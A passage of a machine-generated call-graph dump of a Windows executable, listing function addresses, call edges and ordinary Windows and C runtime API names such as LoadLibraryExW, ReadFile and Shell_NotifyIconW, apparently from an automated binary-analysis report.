89385->89386 89388 322f71 89386->89388 89427 311307 89388->89427 89391 360191 89389->89391 89433 32151f 61 API calls 89389->89433 89392 322f84 Mailbox 89392->89308 89434 3249c2 89393->89434 89396 35f8d6 89551 379b16 89396->89551 89397 3249c2 136 API calls 89399 3227c3 89397->89399 89399->89396 89401 3227cb 89399->89401 89405 3227d7 89401->89405 89406 35f8f3 89401->89406 89402 35f908 89404 330fe6 Mailbox 59 API calls 89402->89404 89403 35f8eb 89609 324a2f 89403->89609 89423 35f94d Mailbox 89404->89423 89458 3229be 89405->89458 89615 3747e8 90 API calls _wprintf 89406->89615 89411 35f901 89411->89402 89412 35fb01 89413 332f85 _free 58 API calls 89412->89413 89414 35fb09 89413->89414 89415 324a2f 84 API calls 89414->89415 89420 35fb12 89415->89420 89419 332f85 _free 58 API calls 89419->89420 89420->89419 89421 324a2f 84 API calls 89420->89421 89617 36ff5c 89 API calls 4 library calls 89420->89617 89421->89420 89423->89412 89423->89420 89424 321a36 59 API calls 89423->89424 89586 36fef8 89423->89586 89589 37793a 89423->89589 89595 32343f 89423->89595 89603 323297 89423->89603 89616 36fe19 61 API calls 2 library calls 89423->89616 89424->89423 89428 311319 89427->89428 89432 311338 _memmove 89427->89432 89430 330fe6 Mailbox 59 API calls 89428->89430 89429 330fe6 Mailbox 59 API calls 89431 31134f 89429->89431 89430->89432 89431->89392 89432->89429 89433->89389 89618 324b29 89434->89618 89439 3608bb 89442 324a2f 84 API calls 89439->89442 89440 3249ed LoadLibraryExW 89628 324ade 89440->89628 89443 3608c2 89442->89443 89445 324ade 3 API calls 89443->89445 89449 3608ca 89445->89449 89447 324a14 89448 324a20 89447->89448 89447->89449 89451 324a2f 84 API calls 89448->89451 89654 324ab2 89449->89654 89453 3227af 89451->89453 89453->89396 89453->89397 89455 3608f1 89662 324a6e 89455->89662 89457 3608fe 89459 35fd14 89458->89459 89460 3229e7 89458->89460 90037 36ff5c 89 API calls 4 library calls 89459->90037 90019 323df7 60 API calls Mailbox 89460->90019 89463 35fd27 90038 36ff5c 89 API calls 4 library calls 89463->90038 89464 322a09 90020 323e47 67 API calls 89464->90020 89466 322a1e 89466->89463 89468 322a26 89466->89468 89470 321207 59 API calls 89468->89470 89469 35fd43 89473 322a93 89469->89473 89471 322a32 89470->89471 90021 330b8b 60 API calls __write_nolock 89471->90021 89475 322aa1 89473->89475 89476 35fd56 89473->89476 89474 322a3e 89477 321207 59 API calls 89474->89477 89479 321207 59 API calls 89475->89479 89478 3242cf CloseHandle 89476->89478 89480 322a4a 89477->89480 89481 35fd62 89478->89481 89482 322aaa 89479->89482 89483 330284 60 API calls 89480->89483 89484 3249c2 136 API calls 89481->89484 89485 321207 59 API calls 89482->89485 89486 322a58 89483->89486 89487 35fd7e 89484->89487 89488 322ab3 89485->89488 90022 323ea1 ReadFile SetFilePointerEx 89486->90022 89491 35fda3 89487->89491 89495 379b16 122 API calls 89487->89495 90024 330119 59 API calls Mailbox 89488->90024 90039 36ff5c 89 API calls 4 library calls 89491->90039 89492 322aca 90025 3217e0 59 API calls Mailbox 89492->90025 89494 322a84 90023 32410a SetFilePointerEx SetFilePointerEx 89494->90023 89499 35fd96 89495->89499 89497 35fdba 89520 322c3e Mailbox 89497->89520 89500 35fdbf 89499->89500 89501 35fd9e 89499->89501 89504 324a2f 84 API calls 89500->89504 89503 324a2f 84 API calls 89501->89503 89502 322adb SetCurrentDirectoryW 89507 322aee Mailbox 89502->89507 89503->89491 89505 35fdc4 89504->89505 89506 330fe6 Mailbox 59 API calls 89505->89506 89513 35fdf8 89506->89513 89509 330fe6 Mailbox 59 API calls 89507->89509 89511 322b01 89509->89511 89510 3227ef 89510->89186 89510->89187 89512 32433f 59 API calls 89511->89512 89528 322b0c Mailbox __NMSG_WRITE 89512->89528 89514 32343f 59 API calls 89513->89514 89527 35fe41 Mailbox 89514->89527 89515 322c19 90033 3242cf 89515->90033 89516 360032 89522 37789a 59 API calls 89516->89522 89519 322c25 SetCurrentDirectoryW 89519->89520 90014 323e25 89520->90014 89523 360054 89522->89523 90042 37fc0d 59 API calls 2 library calls 89523->90042 89527->89516 89532 32343f 59 API calls 89527->89532 89541 36fef8 59 API calls 89527->89541 89542 321a36 59 API calls 89527->89542 89543 37793a 59 API calls 89527->89543 89546 360084 89527->89546 90040 36fe19 61 API calls 2 library calls 89527->90040 90041 32314d 59 API calls Mailbox 89527->90041 89528->89515 89535 3600c3 89528->89535 89538 321a36 59 API calls 89528->89538 89539 3600cb 89528->89539 90026 323ebe 67 API calls _wcscpy 89528->90026 90027 322e8f GetStringTypeW 89528->90027 90028 322dfe 60 API calls __wcsnicmp 89528->90028 90029 322edc GetStringTypeW __NMSG_WRITE 89528->90029 90030 33386d GetStringTypeW _iswctype 89528->90030 90031 3227fc 165 API calls 3 library calls 89528->90031 90032 32314d 59 API calls Mailbox 89528->90032 89532->89527 89533 3600e4 89533->89515 90044 36fdb2 59 API calls 4 library calls 89535->90044 89538->89528 90045 36ff5c 89 API calls 4 library calls 89539->90045 89541->89527 89542->89527 89543->89527 90043 36ff5c 89 API calls 4 library calls 89546->90043 89548 36009d 89549 332f85 _free 58 API calls 89548->89549 89552 324a8c 85 API calls 89551->89552 89553 379b85 89552->89553 90046 379cf1 89553->90046 89556 324ab2 74 API calls 89557 379bb4 89556->89557 89558 324ab2 74 API calls 89557->89558 89559 379bc4 89558->89559 89560 324ab2 74 API calls 89559->89560 89561 379bdf 89560->89561 89562 324ab2 74 API calls 89561->89562 89563 379bfa 89562->89563 89564 324a8c 85 API calls 89563->89564 89565 379c11 89564->89565 89566 33593c std::exception::_Copy_str 58 API calls 89565->89566 89567 379c18 89566->89567 89568 33593c std::exception::_Copy_str 58 API calls 89567->89568 89569 379c22 89568->89569 89570 324ab2 74 API calls 89569->89570 89571 379c36 89570->89571 89572 3796c4 GetSystemTimeAsFileTime 89571->89572 89573 379c49 89572->89573 89574 379c73 89573->89574 89575 379c5e 89573->89575 89576 379c79 89574->89576 89577 379cd8 89574->89577 89578 332f85 _free 58 API calls 89575->89578 90052 3790c1 89576->90052 89580 332f85 _free 58 API calls 89577->89580 89581 379c64 89578->89581 89583 35f8e7 89580->89583 89584 332f85 _free 58 API calls 89581->89584 89583->89402 89583->89403 89584->89583 89587 330fe6 Mailbox 59 API calls 89586->89587 89588 36ff28 _memmove 89587->89588 89588->89423 89588->89588 89590 377945 89589->89590 89591 330fe6 Mailbox 59 API calls 89590->89591 89592 37795c 89591->89592 89593 37796b 89592->89593 89594 321a36 59 API calls 89592->89594 89593->89423 89594->89593 89596 3234df 89595->89596 89599 323452 _memmove 89595->89599 89598 330fe6 Mailbox 59 API calls 89596->89598 89597 330fe6 Mailbox 59 API calls 89600 323459 89597->89600 89598->89599 89599->89597 89601 330fe6 Mailbox 59 API calls 89600->89601 89602 323482 89600->89602 89601->89602 89602->89423 89604 3232aa 89603->89604 89607 323358 89603->89607 89605 330fe6 Mailbox 59 API calls 89604->89605 89608 3232dc 89604->89608 89605->89608 89606 330fe6 59 API calls Mailbox 89606->89608 89607->89423 89608->89606 89608->89607 89610 324a40 89609->89610 89611 324a39 89609->89611 89613 324a60 FreeLibrary 89610->89613 89614 324a4f 89610->89614 89612 3355c6 __fcloseall 83 API calls 89611->89612 89612->89610 89613->89614 89614->89406 89615->89411 89616->89423 89617->89420 89667 324b77 89618->89667 89621 324b77 2 API calls 89624 324b50 89621->89624 89622 324b60 FreeLibrary 89623 3249d4 89622->89623 89625 33547b 89623->89625 89624->89622 89624->89623 89671 335490 89625->89671 89627 3249e1 89627->89439 89627->89440 89752 324baa 89628->89752 89631 324b15 FreeLibrary 89632 324a05 89631->89632 89635 3248b0 89632->89635 89633 324baa 2 API calls 89634 324b03 89633->89634 89634->89631 89634->89632 89636 330fe6 Mailbox 59 API calls 89635->89636 89637 3248c5 89636->89637 89638 32433f 59 API calls 89637->89638 89639 3248d1 _memmove 89638->89639 89640 36080a 89639->89640 89641 32490c 89639->89641 89643 360817 89640->89643 89761 379ed8 CreateStreamOnHGlobal FindResourceExW LoadResource SizeofResource LockResource 89640->89761 89642 324a6e 69 API calls 89641->89642 89646 324915 89642->89646 89762 379f5e 95 API calls 89643->89762 89647 360859 89646->89647 89648 324ab2 74 API calls 89646->89648 89650 3249a0 89646->89650 89652 324a8c 85 API calls 89646->89652 89756 324a8c 89647->89756 89648->89646 89650->89447 89652->89646 89653 324ab2 74 API calls 89653->89650 89655 360945 89654->89655 89656 324ac4 89654->89656 89868 335802 89656->89868 89659 3796c4 89993 37951a 89659->89993 89661 3796da 89661->89455 89663 360908 89662->89663 89664 324a7d 89662->89664 89998 335e80 89664->89998 89666 324a85 89666->89457 89668 324b44 89667->89668 89669 324b80 LoadLibraryA 89667->89669 89668->89621 89668->89624 89669->89668 89670 324b91 GetProcAddress 89669->89670 89670->89668 89674 33549c __freefls@4 89671->89674 89672 3354af 89720 338d58 58 API calls __getptd_noexit 89672->89720 89674->89672 89676 3354e0 89674->89676 89675 3354b4 89721 338fe6 9 API calls __fclose_nolock 89675->89721 89690 340718 89676->89690 89679 3354e5 89680 3354fb 89679->89680 89681 3354ee 89679->89681 89683 335525 89680->89683 89684 335505 89680->89684 89722 338d58 58 API calls __getptd_noexit 89681->89722 89705 340837 89683->89705 89723 338d58 58 API calls __getptd_noexit 89684->89723 89685 3354bf @_EH4_CallFilterFunc@8 __freefls@4 89685->89627 89691 340724 __freefls@4 89690->89691 89692 339e3b __lock 58 API calls 89691->89692 89703 340732 89692->89703 89693 3407ad 89730 338a4d 58 API calls 2 library calls 89693->89730 89694 3407a6 89725 34082e 89694->89725 89697 3407b4 89697->89694 89731 33a05b InitializeCriticalSectionAndSpinCount 89697->89731 89698 340823 __freefls@4 89698->89679 89700 339ec3 __mtinitlocknum 58 API calls 89700->89703 89702 3407da EnterCriticalSection 89702->89694 89703->89693 89703->89694 89703->89700 89728 336e7d 59 API calls __lock 89703->89728 89729 336ee7 LeaveCriticalSection LeaveCriticalSection _doexit 89703->89729 89713 340857 __wopenfile 89705->89713 89706 340871 89736 338d58 58 API calls __getptd_noexit 89706->89736 89708 340a2c 89708->89706 89712 340a8f 89708->89712 89709 340876 89737 338fe6 9 API calls __fclose_nolock 89709->89737 89711 335530 89724 335552 LeaveCriticalSection LeaveCriticalSection _fprintf 89711->89724 89733 3487d1 89712->89733 89713->89706 89713->89708 89738 3339fb 60 API calls 2 library calls 89713->89738 89716 340a25 89716->89708 89739 3339fb 60 API calls 2 library calls 89716->89739 89718 340a44 89718->89708 89740 3339fb 60 API calls 2 library calls 89718->89740 89720->89675 89721->89685 89722->89685 89723->89685 89724->89685 89732 339fa5 LeaveCriticalSection 89725->89732 89727 340835 89727->89698 89728->89703 89729->89703 89730->89697 89731->89702 89732->89727 89741 347fb5 89733->89741 89735 3487ea 89735->89711 89736->89709 89737->89711 89738->89716 89739->89718 89740->89708 89742 347fc1 __freefls@4 89741->89742 89743 347fd7 89742->89743 89745 34800d 89742->89745 89744 338d58 __fclose_nolock 58 API calls 89743->89744 89746 347fdc 89744->89746 89747 34807e __wsopen_nolock 109 API calls 89745->89747 89748 338fe6 __fclose_nolock 9 API calls 89746->89748 89749 348029 89747->89749 89751 347fe6 __freefls@4 89748->89751 89750 348052 __wsopen_helper LeaveCriticalSection 89749->89750 89750->89751 89751->89735 89753 324af7 89752->89753 89754 324bb3 LoadLibraryA 89752->89754 89753->89633 89753->89634 89754->89753 89755 324bc4 GetProcAddress 89754->89755 89755->89753 89757 360923 89756->89757 89758 324a9b 89756->89758 89763 335a6d 89758->89763 89760 324aa9 89760->89653 89761->89643 89762->89646 89767 335a79 __freefls@4 89763->89767 89764 335a8b 89794 338d58 58 API calls __getptd_noexit 89764->89794 89766 335ab1 89776 336e3e 89766->89776 89767->89764 89767->89766 89768 335a90 89795 338fe6 9 API calls __fclose_nolock 89768->89795 89775 335a9b __freefls@4 89775->89760 89777 336e70 EnterCriticalSection 89776->89777 89778 336e4e 89776->89778 89780 335ab7 89777->89780 89778->89777 89779 336e56 89778->89779 89781 339e3b __lock 58 API calls 89779->89781 89782 3359de 89780->89782 89781->89780 89783 3359fc 89782->89783 89784 3359ec 89782->89784 89786 335a12 89783->89786 89797 335af0 89783->89797 89867 338d58 58 API calls __getptd_noexit 89784->89867 89826 334c5d 89786->89826 89788 3359f1 89796 335ae8 LeaveCriticalSection LeaveCriticalSection _fprintf 89788->89796 89792 335a53 89839 34185f 89792->89839 89794->89768 89795->89775 89796->89775 89798 335afd __write_nolock 89797->89798 89799 335b15 89798->89799 89800 335b2d 89798->89800 89801 338d58 __fclose_nolock 58 API calls 89799->89801 89802 334906 __fclose_nolock 58 API calls 89800->89802 89803 335b1a 89801->89803 89804 335b35 89802->89804 89805 338fe6 __fclose_nolock 9 API calls 89803->89805 89806 34185f __write 64 API calls 89804->89806 89809 335b25 89805->89809 89807 335b51 89806->89807 89807->89809 89811 335d41 89807->89811 89812 335bd4 89807->89812 89808 33c826 __except_handler4 6 API calls 89810 335e7c 89808->89810 89809->89808 89810->89786 89813 335cfd 89811->89813 89814 335d4a 89811->89814 89812->89813 89816 335bfa 89812->89816 89813->89809 89819 34185f __write 64 API calls 89813->89819 89815 338d58 __fclose_nolock 58 API calls 89814->89815 89815->89809 89816->89809 89817 3419f5 __lseeki64 62 API calls 89816->89817 89818 335c33 89817->89818 89818->89809 89820 335c5f ReadFile 89818->89820 89821 335dae 89819->89821 89820->89809 89822 335c84 89820->89822 89821->89809 89823 34185f __write 64 API calls 89821->89823 89824 34185f __write 64 API calls 89822->89824 89823->89809 89825 335c97 89824->89825 89825->89809 89827 334c70 89826->89827 89828 334c94 89826->89828 89827->89828 89829 334906 __fclose_nolock 58 API calls 89827->89829 89832 334906 89828->89832 89830 334c8d 89829->89830 89831 33dab6 __write 78 API calls 89830->89831 89831->89828 89833 334910 89832->89833 89834 334925 89832->89834 89835 338d58 __fclose_nolock 58 API calls 89833->89835 89834->89792 89836 334915 89835->89836 89837 338fe6 __fclose_nolock 9 API calls 89836->89837 89838 334920 89837->89838 89838->89792 89840 34186b __freefls@4 89839->89840 89841 34188f 89840->89841 89842 341878 89840->89842 89844 34192e 89841->89844 89846 3418a3 89841->89846 89843 338d24 __close 58 API calls 89842->89843 89845 34187d 89843->89845 89847 338d24 __close 58 API calls 89844->89847 89848 338d58 __fclose_nolock 58 API calls 89845->89848 89849 3418c1 89846->89849 89850 3418cb 89846->89850 89851 3418c6 89847->89851 89862 341884 __freefls@4 89848->89862 89852 338d24 __close 58 API calls 89849->89852 89853 33d436 ___lock_fhandle 59 API calls 89850->89853 89855 338d58 __fclose_nolock 58 API calls 89851->89855 89852->89851 89854 3418d1 89853->89854 89856 3418e4 89854->89856 89857 3418f7 89854->89857 89858 34193a 89855->89858 89859 34194e __lseek_nolock 62 API calls 89856->89859 89861 338d58 __fclose_nolock 58 API calls 89857->89861 89860 338fe6 __fclose_nolock 9 API calls 89858->89860 89863 3418f0 89859->89863 89860->89862 89864 3418fc 89861->89864 89862->89788 89866 341926 __write LeaveCriticalSection 89863->89866 89865 338d24 __close 58 API calls 89864->89865 89865->89863 89866->89862 89867->89788 89871 33581d 89868->89871 89870 324ad5 89870->89659 89872 335829 __freefls@4 89871->89872 89873 33583f _memset 89872->89873 89874 33586c 89872->89874 89875 335864 __freefls@4 89872->89875 89898 338d58 58 API calls __getptd_noexit 89873->89898 89876 336e3e __lock_file 59 API calls 89874->89876 89875->89870 89878 335872 89876->89878 89884 33563d 89878->89884 89879 335859 89899 338fe6 9 API calls __fclose_nolock 89879->89899 89888 335658 _memset 89884->89888 89897 335673 89884->89897 89885 335663 89989 338d58 58 API calls __getptd_noexit 89885->89989 89887 335668 89990 338fe6 9 API calls __fclose_nolock 89887->89990 89888->89885 89894 3356b3 89888->89894 89888->89897 89891 3357c4 _memset 89992 338d58 58 API calls __getptd_noexit 89891->89992 89892 334906 __fclose_nolock 58 API calls 89892->89894 89894->89891 89894->89892 89894->89897 89901 34108b 89894->89901 89969 340dd7 89894->89969 89991 340ef8 58 API calls 3 library calls 89894->89991 89900 3358a6 LeaveCriticalSection LeaveCriticalSection _fprintf 89897->89900 89898->89879 89899->89875 89900->89875 89902 3410c3 89901->89902 89903 3410ac 89901->89903 89904 3417fb 89902->89904 89908 3410fd 89902->89908 89905 338d24 __close 58 API calls 89903->89905 89906 338d24 __close 58 API calls 89904->89906 89907 3410b1 89905->89907 89909 341800 89906->89909 89910 338d58 __fclose_nolock 58 API calls 89907->89910 89911 341105 89908->89911 89918 34111c 89908->89918 89912 338d58 __fclose_nolock 58 API calls 89909->89912 89949 3410b8 89910->89949 89913 338d24 __close 58 API calls 89911->89913 89914 341111 89912->89914 89915 34110a 89913->89915 89916 338fe6 __fclose_nolock 9 API calls 89914->89916 89920 338d58 __fclose_nolock 58 API calls 89915->89920 89916->89949 89917 341131 89921 338d24 __close 58 API calls 89917->89921 89918->89917 89919 34114b 89918->89919 89922 341169 89918->89922 89918->89949 89919->89917 89924 341156 89919->89924 89920->89914 89921->89915 89923 338a4d __malloc_crt 58 API calls 89922->89923 89925 341179 89923->89925 89926 345e9b __write_nolock 58 API calls 89924->89926 89927 341181 89925->89927 89928 34119c 89925->89928 89929 34126a 89926->89929 89931 338d58 __fclose_nolock 58 API calls 89927->89931 89930 341af1 __lseeki64_nolock 60 API calls 89928->89930 89932 3412e3 ReadFile 89929->89932 89933 341280 GetConsoleMode 89929->89933 89930->89924 89934 341186 89931->89934 89935 341305 89932->89935 89936 3417c3 GetLastError 89932->89936 89937 341294 89933->89937 89938 3412e0 89933->89938 89939 338d24 __close 58 API calls 89934->89939 89935->89936 89943 3412d5 89935->89943 89940 3412c3 89936->89940 89941 3417d0 89936->89941 89937->89938 89942 34129a ReadConsoleW 89937->89942 89938->89932 89939->89949 89946 338d37 __dosmaperr 58 API calls 89940->89946 89951 3412c9 89940->89951 89944 338d58 __fclose_nolock 58 API calls 89941->89944 89942->89943 89945 3412bd GetLastError 89942->89945 89943->89951 89952 34133a 89943->89952 89955 3415a7 89943->89955 89947 3417d5 89944->89947 89945->89940 89946->89951 89948 338d24 __close 58 API calls 89947->89948 89948->89951 89949->89894 89950 332f85 _free 58 API calls 89950->89949 89951->89949 89951->89950 89954 3413a6 ReadFile 89952->89954 89962 341427 89952->89962 89957 3413c7 GetLastError 89954->89957 89967 3413d1 89954->89967 89955->89951 89956 3416ad ReadFile 89955->89956 89961 3416d0 GetLastError 89956->89961 89968 3416de 89956->89968 89957->89967 89958 3414e4 89963 341494 MultiByteToWideChar 89958->89963 89964 341af1 __lseeki64_nolock 60 API calls 89958->89964 89959 3414d4 89960 338d58 __fclose_nolock 58 API calls 89959->89960 89960->89951 89961->89968 89962->89951 89962->89958 89962->89959 89962->89963 89963->89945 89963->89951 89964->89963 89965 341af1 __lseeki64_nolock 60 API calls 89965->89967 89966 341af1 __lseeki64_nolock 60 API calls 89966->89968 89967->89952 89967->89965 89968->89955 89968->89966 89970 340de2 89969->89970 89974 340df7 89969->89974 89971 338d58 __fclose_nolock 58 API calls 89970->89971 89972 340de7 89971->89972 89973 338fe6 __fclose_nolock 9 API calls 89972->89973 89981 340df2 89973->89981 89975 340e2c 89974->89975 89976 346214 __getbuf 58 API calls 89974->89976 89974->89981 89977 334906 __fclose_nolock 58 API calls 89975->89977 89976->89975 89978 340e40 89977->89978 89979 340f77 __read 72 API calls 89978->89979 89980 340e47 89979->89980 89980->89981 89982 334906 __fclose_nolock 58 API calls 89980->89982 89981->89894 89983 340e6a 89982->89983 89983->89981 89984 334906 __fclose_nolock 58 API calls 89983->89984 89985 340e76 89984->89985 89985->89981 89986 334906 __fclose_nolock 58 API calls 89985->89986 89987 340e83 89986->89987 89988 334906 __fclose_nolock 58 API calls 89987->89988 89988->89981 89989->89887 89990->89897 89991->89894 89992->89887 89996 33542a GetSystemTimeAsFileTime 89993->89996 89995 379529 89995->89661 89997 335458 __aulldiv 89996->89997 89997->89995 89999 335e8c __freefls@4 89998->89999 90000 335eb3 89999->90000 90001 335e9e 89999->90001 90003 336e3e __lock_file 59 API calls 90000->90003 90011 338d58 58 API calls __getptd_noexit 90001->90011 90005 335eb9 90003->90005 90004 335ea3 90012 338fe6 9 API calls __fclose_nolock 90004->90012 90007 335af0 __ftell_nolock 67 API calls 90005->90007 90008 335ec4 90007->90008 90013 335ee4 LeaveCriticalSection LeaveCriticalSection _fprintf 90008->90013 90010 335eae __freefls@4 90010->89666 90011->90004 90012->90010 90013->90010 90015 3242cf CloseHandle 90014->90015 90016 323e2d Mailbox 90015->90016 90017 3242cf CloseHandle 90016->90017 90018 323e3c 90017->90018 90018->89510 90019->89464 90020->89466 90021->89474 90022->89494 90023->89473 90024->89492 90025->89502 90026->89528 90027->89528 90028->89528 90029->89528 90030->89528 90031->89528 90032->89528 90034 3242e8 90033->90034 90035 3242d9 90033->90035 90034->90035 90036 3242ed CloseHandle 90034->90036 90035->89519 90036->90035 90037->89463 90038->89469 90039->89497 90040->89527 90041->89527 90043->89548 90044->89539 90045->89533 90048 379d05 __tzset_nolock _wcscmp 90046->90048 90047 324ab2 74 API calls 90047->90048 90048->90047 90049 3796c4 GetSystemTimeAsFileTime 90048->90049 90050 379b99 90048->90050 90051 324a8c 85 API calls 90048->90051 90049->90048 90050->89556 90050->89583 90051->90048 90053 3790cc 90052->90053 90054 3790da 90052->90054 90055 33547b 115 API calls 90053->90055 90057 33547b 115 API calls 90054->90057 90055->90054 90208 333465 __freefls@4 90207->90208 90209 339e3b __lock 51 API calls 90208->90209 90210 33346c 90209->90210 90211 333525 __cinit 90210->90211 90212 33349a DecodePointer 90210->90212 90227 333573 90211->90227 90212->90211 90214 3334b1 DecodePointer 90212->90214 90216 3334c1 90214->90216 90216->90211 90219 3334ce EncodePointer 90216->90219 90223 3334de DecodePointer EncodePointer 90216->90223 90218 333582 __freefls@4 90218->89095 90219->90216 90220 33356a 90221 3332cf _fast_error_exit 3 API calls 90220->90221 90222 333573 90221->90222 90224 333580 90222->90224 90232 339fa5 LeaveCriticalSection 90222->90232 90225 3334f0 DecodePointer DecodePointer 90223->90225 90224->89095 90225->90216 90228 333553 90227->90228 90229 333579 90227->90229 90228->90218 90231 339fa5 LeaveCriticalSection 90228->90231 90233 339fa5 LeaveCriticalSection 90229->90233 90231->90220 90232->90224 90233->90228 90234 316981 90241 31373a 90234->90241 90236 316997 90250 317b3f 90236->90250 90238 3169bf 90240 31584d 90238->90240 90262 37a48d 89 API calls 4 library calls 90238->90262 90242 313746 90241->90242 90243 313758 90241->90243 90263 31523c 59 API calls 90242->90263 90245 313787 90243->90245 90246 31375e 90243->90246 90264 31523c 59 API calls 90245->90264 90248 330fe6 Mailbox 59 API calls 90246->90248 90249 313750 90248->90249 90249->90236 90251 32162d 59 API calls 90250->90251 90252 317b64 _wcscmp 90251->90252 90253 321a36 59 API calls 90252->90253 90255 317b98 Mailbox 90252->90255 90254 34ffad 90253->90254 90265 3217e0 59 API calls Mailbox 90254->90265 90255->90238 90257 34ffb8 90266 313938 68 API calls 90257->90266 90259 34ffc9 90261 34ffcd Mailbox 90259->90261 90267 31523c 59 API calls 90259->90267 90261->90238 90262->90240 90263->90249 90264->90249 90265->90257 90266->90259 90267->90261 90268 324d83 90269 324dba 90268->90269 90270 324e35 90269->90270 90271 324e37 90269->90271 90272 324dd8 90269->90272 90275 324e1a DefWindowProcW 90270->90275 90276 3609c2 90271->90276 90277 324e3d 90271->90277 90273 324de5 90272->90273 90274 324ead PostQuitMessage 90272->90274 90278 324df0 90273->90278 90279 360a35 90273->90279 90281 324e28 90274->90281 90275->90281 90280 31c460 10 API calls 90276->90280 90282 324e42 90277->90282 90283 324e65 SetTimer RegisterWindowMessageW 90277->90283 90284 324eb7 90278->90284 90285 324df8 90278->90285 90323 372cce 97 API calls _memset 90279->90323 90288 3609e9 90280->90288 90289 360965 90282->90289 90290 324e49 KillTimer 90282->90290 90283->90281 90286 324e8e CreatePopupMenu 90283->90286 90313 325b29 90284->90313 90291 324e03 90285->90291 90292 360a1a 90285->90292 90286->90281 90294 31c483 266 API calls 90288->90294 90296 36099e MoveWindow 90289->90296 90297 36096a 90289->90297 90298 325ac3 Shell_NotifyIconW 90290->90298 90299 324e9b 90291->90299 90300 324e0e 90291->90300 90292->90275 90322 368854 59 API calls Mailbox 90292->90322 90293 360a47 90293->90275 90293->90281 90294->90300 90296->90281 90301 36096e 90297->90301 90302 36098d SetFocus 90297->90302 90303 324e5c 90298->90303 90321 325bd7 107 API calls _memset 90299->90321 90300->90275 90310 325ac3 Shell_NotifyIconW 90300->90310 90301->90300 90306 360977 90301->90306 90302->90281 90320 3134e4 DeleteObject DestroyWindow Mailbox 90303->90320 90309 31c460 10 API calls 90306->90309 90308 324eab 90308->90281 90309->90281 90311 360a0e 90310->90311 90312 3259d3 94 API calls 90311->90312 90312->90270 90314 325bc2 90313->90314 90315 325b40 _memset 90313->90315 90314->90281 90316 3256f8 87 API calls 90315->90316 90318 325b67 90316->90318 90317 325bab KillTimer SetTimer 90317->90314 90318->90317 90319 360d6e Shell_NotifyIconW 90318->90319 90319->90317 90320->90281 90321->90308 90322->90270 90323->90293 90324 311066 90325 31106c 90324->90325 90326 332f70 __cinit 67 API calls 90325->90326 90327 311076 90326->90327 90328 34e463 90329 31373a 59 API calls 90328->90329 90330 34e479 90329->90330 90331 34e48f 90330->90331 90332 34e4fa 90330->90332 90340 315376 60 API calls 90331->90340 90334 31b020 266 API calls 90332->90334 90339 34e4ee Mailbox 90334->90339 90336 34e4ce 90336->90339 90341 37890a 59 API calls Mailbox 90336->90341 90337 34f046 Mailbox 90339->90337 90342 37a48d 89 API calls 4 library calls 90339->90342 90340->90336 90341->90339 90342->90337 90343 319a88 90346 3186e0 90343->90346 90347 3186fd 90346->90347 90348 350fad 90347->90348 90349 350ff8 90347->90349 90371 318724 90347->90371 90352 350fb5 90348->90352 90357 350fc2 90348->90357 90348->90371 90381 38aad0 266 API calls __cinit 90349->90381 90350 315278 59 API calls 90350->90371 90379 38b0e4 266 API calls 90352->90379 90353 332f70 __cinit 67 API calls 90353->90371 90355 313f42 68 API calls 90355->90371 90361 31898d 90357->90361 90380 38b58c 266 API calls 3 library calls 90357->90380 90359 351289 90359->90359 90360 313c30 68 API calls 90360->90371 90365 318a17 90361->90365 90385 37a48d 89 API calls 4 library calls 90361->90385 90362 3511af 90384 38ae3b 89 API calls 90362->90384 90366 3139be 68 API calls 90366->90371 90371->90350 90371->90353 90371->90355 90371->90360 90371->90361 90371->90362 90371->90365 90371->90366 90372 3153b0 266 API calls 90371->90372 90373 321c9c 59 API calls 90371->90373 90375 313938 68 API calls 90371->90375 90376 31855e 266 API calls 90371->90376 90377 3184e2 89 API calls 90371->90377 90378 31835f 266 API calls 90371->90378 90382 31523c 59 API calls 90371->90382 90383 3673ab 59 API calls 90371->90383 90372->90371 90373->90371 90375->90371 90376->90371 90377->90371 90378->90371 90379->90357 90380->90361 90381->90371 90382->90371 90383->90371 90384->90361 90385->90359 90386 34b7ad 90389 31ad98 90386->90389 90390 352f63 DestroyWindow 90389->90390 90391 31add7 mciSendStringW 90389->90391 90404 352f6f 90390->90404 90392 31afc0 90391->90392 90393 31adf3 90391->90393 90392->90393 90395 31afcf UnregisterHotKey 90392->90395 90394 31ae01 90393->90394 90393->90404 90425 31c71f 90394->90425 90395->90392 90398 352f8d FindClose 90398->90404 90399 352fb4 90402 352fc7 FreeLibrary 90399->90402 90403 352fd8 90399->90403 90400 31ae16 90400->90403 90413 31ae24 90400->90413 90401 3242cf CloseHandle 90401->90404 90402->90399 90405 352fec VirtualFree 90403->90405 90406 35301a 90403->90406 90404->90398 90404->90399 90404->90401 90405->90403 90408 31ae91 90406->90408 90429 377079 90406->90429 90407 31ae80 OleUninitialize 90407->90406 90407->90408 90409 353033 90408->90409 90410 31ae9c 90408->90410 90414 353042 90409->90414 90436 37a240 CloseHandle 90409->90436 90411 31aeac Mailbox 90410->90411 90434 32fef1 61 API calls Mailbox 90411->90434 90413->90407 90420 353056 90414->90420 90437 36d5cb 59 API calls Mailbox 90414->90437 90416 31aec2 Mailbox 90435 33052f 59 API calls Mailbox 90416->90435 90420->90420 90426 31c72e Mailbox 90425->90426 90427 31ae08 90426->90427 90438 36e0aa 59 API calls 90426->90438 90427->90399 90427->90400 90439 3777eb 90429->90439 90432 33105c 90433 3770a1 DeleteCriticalSection 90432->90433 90433->90408 90434->90416 90436->90409 90437->90414 90438->90426 90440 3777f7 InterlockedExchange 90439->90440 90441 377087 FindCloseChangeNotification CloseHandle 90439->90441 90440->90441 90442 37780b EnterCriticalSection TerminateThread WaitForSingleObject 90440->90442 90441->90432 90445 3771f0 CloseHandle 90442->90445 90444 377836 InterlockedExchange LeaveCriticalSection 90444->90441 90445->90444 90446 319a6c 90449 31829c 90446->90449 90448 319a78 90450 3182b4 90449->90450 90453 318308 90449->90453 90451 3153b0 266 API calls 90450->90451 90450->90453 90456 3182eb 90451->90456 90455 318331 90453->90455 90459 37a48d 89 API calls 4 library calls 90453->90459 90454 350ed8 90454->90454 90455->90448 90456->90455 90458 31523c 59 API calls 90456->90458 90458->90453 90459->90454 90460 3138ce 90461 3138f9 90460->90461 90462 3138d8 90460->90462 90468 34d352 90461->90468 90477 366d17 59 API calls 90461->90477 90469 313b31 90462->90469 90464 3138e8 90466 313b31 59 API calls 90464->90466 90467 3138f8 90466->90467 90470 313b3f 90469->90470 90476 313b67 90469->90476 90471 313b31 59 API calls 90470->90471 90473 313b4d 90470->90473 90471->90473 90472 313b53 90475 315190 Mailbox 59 API calls 90472->90475 90472->90476 90473->90472 90474 313b31 59 API calls 90473->90474 90474->90472 90475->90476 90476->90464 90477->90461

